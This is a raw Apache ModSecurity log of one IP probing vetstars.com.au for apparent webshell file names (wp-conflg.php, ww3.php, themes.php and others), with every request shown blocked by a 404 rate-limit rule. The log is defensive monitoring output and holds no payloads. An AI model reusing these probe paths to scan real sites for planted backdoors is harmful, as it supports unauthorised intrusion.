[Wed Nov 26 00:58:20.606289 2025] [:error] [pid 14078:tid 14150] [client 172.207.189.235:21461] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww3.php"] [unique_id "aSXgLNVXYbb0ii_rVoLf5wAAAI0"]
[Wed Nov 26 00:58:20.857891 2025] [:error] [pid 28836:tid 29006] [client 172.207.189.235:21476] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww3.php"] [unique_id "aSXgLJwNRsoxcLQGkTcdUgAAAtA"]
[Wed Nov 26 00:58:21.102142 2025] [:error] [pid 14076:tid 14088] [client 172.207.189.235:21437] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww3.php"] [unique_id "aSXgLXsB4Gz6Qw-pvBuATAAAAAc"]
[Wed Nov 26 00:58:21.373560 2025] [:error] [pid 14078:tid 14137] [client 172.207.189.235:21490] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww3.php"] [unique_id "aSXgLdVXYbb0ii_rVoLf7QAAAIA"]
[Wed Nov 26 00:58:21.655837 2025] [:error] [pid 43843:tid 43853] [client 172.207.189.235:21463] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww4.php"] [unique_id "aSXgLRhx4v3NUNdMKDMh_QAAAcg"]
[Wed Nov 26 00:58:21.885052 2025] [:error] [pid 14168:tid 14181] [client 172.207.189.235:21493] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww4.php"] [unique_id "aSXgLfR-ZDU0QEgAIIu9ggAAAMo"]
[Wed Nov 26 00:58:22.150711 2025] [:error] [pid 28609:tid 28631] [client 172.207.189.235:21408] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww4.php"] [unique_id "aSXgLiGGdT-nZJVs3x0qnQAAAY0"]
[Wed Nov 26 00:58:22.461339 2025] [:error] [pid 28836:tid 28963] [client 172.207.189.235:21460] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww4.php"] [unique_id "aSXgLpwNRsoxcLQGkTcdVQAAAsg"]
[Wed Nov 26 00:58:22.708867 2025] [:error] [pid 28609:tid 28618] [client 172.207.189.235:21393] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aSXgLiGGdT-nZJVs3x0qngAAAYA"]
[Wed Nov 26 00:58:22.936460 2025] [:error] [pid 43843:tid 43857] [client 172.207.189.235:21427] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aSXgLhhx4v3NUNdMKDMh_wAAAcw"]
[Wed Nov 26 00:58:23.164313 2025] [:error] [pid 28609:tid 28625] [client 172.207.189.235:21502] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aSXgLyGGdT-nZJVs3x0qoAAAAYc"]
[Wed Nov 26 00:58:23.391693 2025] [:error] [pid 14168:tid 14189] [client 172.207.189.235:21496] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aSXgL_R-ZDU0QEgAIIu9hQAAANI"]
[Wed Nov 26 00:58:23.712949 2025] [:error] [pid 28836:tid 28965] [client 172.207.189.235:21323] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aSXgL5wNRsoxcLQGkTcdWAAAAso"]
[Wed Nov 26 00:58:23.962833 2025] [:error] [pid 14168:tid 14175] [client 172.207.189.235:21429] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aSXgL_R-ZDU0QEgAIIu9hgAAAMQ"]
[Wed Nov 26 00:58:24.230729 2025] [:error] [pid 14168:tid 14172] [client 172.207.189.235:21349] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aSXgMPR-ZDU0QEgAIIu9hwAAAME"]
[Wed Nov 26 00:58:24.457440 2025] [:error] [pid 28739:tid 28769] [client 172.207.189.235:21419] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aSXgMBxGpKmlkG4FexT2cAAAAgc"]
[Wed Nov 26 00:58:24.696831 2025] [:error] [pid 28609:tid 28641] [client 172.207.189.235:21456] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aSXgMCGGdT-nZJVs3x0qpAAAAZc"]
[Wed Nov 26 00:58:24.940642 2025] [:error] [pid 28836:tid 29012] [client 172.207.189.235:21495] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aSXgMJwNRsoxcLQGkTcdXQAAAtY"]
[Wed Nov 26 00:58:25.168276 2025] [:error] [pid 14168:tid 14182] [client 172.207.189.235:21409] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aSXgMfR-ZDU0QEgAIIu9iQAAAMs"]
[Wed Nov 26 00:58:25.398893 2025] [:error] [pid 43843:tid 43867] [client 172.207.189.235:21462] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aSXgMRhx4v3NUNdMKDMiAAAAAdY"]
[Wed Nov 26 00:58:25.634922 2025] [:error] [pid 43843:tid 43852] [client 172.207.189.235:21472] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aSXgMRhx4v3NUNdMKDMiAQAAAcc"]
[Wed Nov 26 00:58:25.932378 2025] [:error] [pid 14168:tid 14191] [client 172.207.189.235:21480] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aSXgMfR-ZDU0QEgAIIu9igAAANQ"]
[Wed Nov 26 00:58:26.163149 2025] [:error] [pid 28739:tid 28762] [client 172.207.189.235:21412] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aSXgMhxGpKmlkG4FexT2cQAAAgA"]
[Wed Nov 26 00:58:26.429304 2025] [:error] [pid 28739:tid 28778] [client 172.207.189.235:21394] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aSXgMhxGpKmlkG4FexT2cwAAAhA"]
[Wed Nov 26 00:58:26.675265 2025] [:error] [pid 14076:tid 14102] [client 172.207.189.235:21475] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aSXgMnsB4Gz6Qw-pvBuAVAAAABU"]
[Wed Nov 26 00:58:26.902307 2025] [:error] [pid 28836:tid 28961] [client 172.207.189.235:21395] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aSXgMpwNRsoxcLQGkTcdYAAAAsY"]
[Wed Nov 26 00:58:27.167482 2025] [:error] [pid 43981:tid 43998] [client 172.207.189.235:21486] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aSXgMwgZn97m_qh_RaGYnwAAAw8"]
[Wed Nov 26 00:58:27.413028 2025] [:error] [pid 14077:tid 14125] [client 172.207.189.235:21450] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aSXgMxG9n7UHEkwDTygFHAAAAE8"]
[Wed Nov 26 00:58:27.659622 2025] [:error] [pid 14077:tid 14115] [client 172.207.189.235:21396] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSXgMxG9n7UHEkwDTygFHQAAAEU"]
[Wed Nov 26 00:58:27.922565 2025] [:error] [pid 14078:tid 14150] [client 172.207.189.235:21403] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSXgM9VXYbb0ii_rVoLgAwAAAI0"]
[Wed Nov 26 00:58:28.253663 2025] [:error] [pid 43981:tid 43990] [client 172.207.189.235:21383] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSXgNAgZn97m_qh_RaGYowAAAwc"]
[Wed Nov 26 00:58:28.551923 2025] [:error] [pid 43843:tid 43865] [client 172.207.189.235:21480] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSXgNBhx4v3NUNdMKDMiCQAAAdQ"]
[Wed Nov 26 00:58:28.824873 2025] [:error] [pid 2987:tid 3001] [client 172.207.189.235:21445] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aSXgNM-djEt-pTzPxnwAggAAAUw"]
[Wed Nov 26 00:58:29.053930 2025] [:error] [pid 28609:tid 28637] [client 172.207.189.235:21329] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aSXgNSGGdT-nZJVs3x0qpwAAAZM"]
[Wed Nov 26 00:58:29.322043 2025] [:error] [pid 28609:tid 28623] [client 172.207.189.235:21280] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aSXgNSGGdT-nZJVs3x0qqAAAAYU"]
[Wed Nov 26 00:58:29.580230 2025] [:error] [pid 14076:tid 14094] [client 172.207.189.235:21486] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aSXgNXsB4Gz6Qw-pvBuAWAAAAA0"]
[Wed Nov 26 00:58:29.834409 2025] [:error] [pid 2987:tid 3007] [client 172.207.189.235:21478] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aSXgNc-djEt-pTzPxnwAgwAAAVI"]
[Wed Nov 26 00:58:30.140886 2025] [:error] [pid 43843:tid 43848] [client 172.207.189.235:21401] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aSXgNhhx4v3NUNdMKDMiCgAAAcM"]
[Wed Nov 26 00:58:30.391914 2025] [:error] [pid 2987:tid 3012] [client 172.207.189.235:21400] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aSXgNs-djEt-pTzPxnwAhAAAAVc"]
[Wed Nov 26 00:58:30.771858 2025] [:error] [pid 14078:tid 14145] [client 172.207.189.235:21418] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aSXgNtVXYbb0ii_rVoLgCgAAAIg"]
[Wed Nov 26 00:58:31.054976 2025] [:error] [pid 28739:tid 28768] [client 172.207.189.235:21413] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aSXgNxxGpKmlkG4FexT2dgAAAgY"]
[Wed Nov 26 00:58:31.321135 2025] [:error] [pid 43843:tid 43851] [client 172.207.189.235:21465] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aSXgNxhx4v3NUNdMKDMiDQAAAcY"]
[Wed Nov 26 00:58:31.617464 2025] [:error] [pid 28739:tid 28764] [client 172.207.189.235:21458] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aSXgNxxGpKmlkG4FexT2dwAAAgI"]
[Wed Nov 26 00:58:31.865705 2025] [:error] [pid 43843:tid 43862] [client 172.207.189.235:21356] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aSXgNxhx4v3NUNdMKDMiDgAAAdE"]
[Wed Nov 26 00:58:32.138210 2025] [:error] [pid 28739:tid 28776] [client 172.207.189.235:21318] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aSXgOBxGpKmlkG4FexT2eAAAAg4"]
[Wed Nov 26 00:58:32.406699 2025] [:error] [pid 28609:tid 28633] [client 172.207.189.235:21414] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aSXgOCGGdT-nZJVs3x0qrgAAAY8"]
[Wed Nov 26 00:58:32.737405 2025] [:error] [pid 28739:tid 28766] [client 172.207.189.235:21411] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aSXgOBxGpKmlkG4FexT2egAAAgQ"]
[Wed Nov 26 00:58:33.106781 2025] [:error] [pid 43981:tid 44005] [client 172.207.189.235:21315] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aSXgOQgZn97m_qh_RaGYpgAAAxY"]
[Wed Nov 26 00:58:33.363220 2025] [:error] [pid 28739:tid 28785] [client 172.207.189.235:21345] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aSXgORxGpKmlkG4FexT2ewAAAhc"]
[Wed Nov 26 00:58:33.630589 2025] [:error] [pid 2987:tid 2996] [client 172.207.189.235:21358] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aSXgOc-djEt-pTzPxnwAiAAAAUc"]
[Wed Nov 26 00:58:33.982886 2025] [:error] [pid 14168:tid 14188] [client 172.207.189.235:21264] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aSXgOfR-ZDU0QEgAIIu9kAAAANE"]
[Wed Nov 26 00:58:34.397969 2025] [:error] [pid 28739:tid 28783] [client 172.207.189.235:21336] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aSXgOhxGpKmlkG4FexT2gAAAAhU"]
[Wed Nov 26 00:58:34.644338 2025] [:error] [pid 2987:tid 2990] [client 172.207.189.235:21334] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aSXgOs-djEt-pTzPxnwAjAAAAUE"]
[Wed Nov 26 00:58:34.986461 2025] [:error] [pid 28739:tid 28778] [client 172.207.189.235:21390] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aSXgOhxGpKmlkG4FexT2gwAAAhA"]
[Wed Nov 26 00:58:35.259209 2025] [:error] [pid 14078:tid 14141] [client 172.207.189.235:21354] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aSXgO9VXYbb0ii_rVoLgCwAAAIQ"]
[Wed Nov 26 00:58:35.504875 2025] [:error] [pid 2987:tid 3011] [client 172.207.189.235:21391] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aSXgO8-djEt-pTzPxnwAjwAAAVY"]
